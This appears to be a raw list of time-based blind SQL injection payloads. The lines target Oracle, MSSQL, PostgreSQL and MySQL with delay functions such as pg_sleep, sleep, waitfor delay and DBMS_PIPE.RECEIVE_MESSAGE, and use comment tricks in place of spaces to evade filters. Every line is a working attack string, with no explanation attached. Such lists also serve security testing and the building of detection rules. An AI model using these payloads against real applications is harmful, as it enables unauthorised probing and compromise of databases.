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123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('m',0)
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123456/**/and(select+1)>0waitfor/**/delay'0:0:7'/**/
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123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456'/**/and(select'1'from/**/pg_sleep(7))::text>'0
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123456/**/and(select+1/**/from/**/pg_sleep(7))>0/**/
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123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456"and(select*from(select+sleep(7))a/**/union/**/select+1)="
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123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456'and(select*from(select+sleep(7))a/**/union/**/select+1)='
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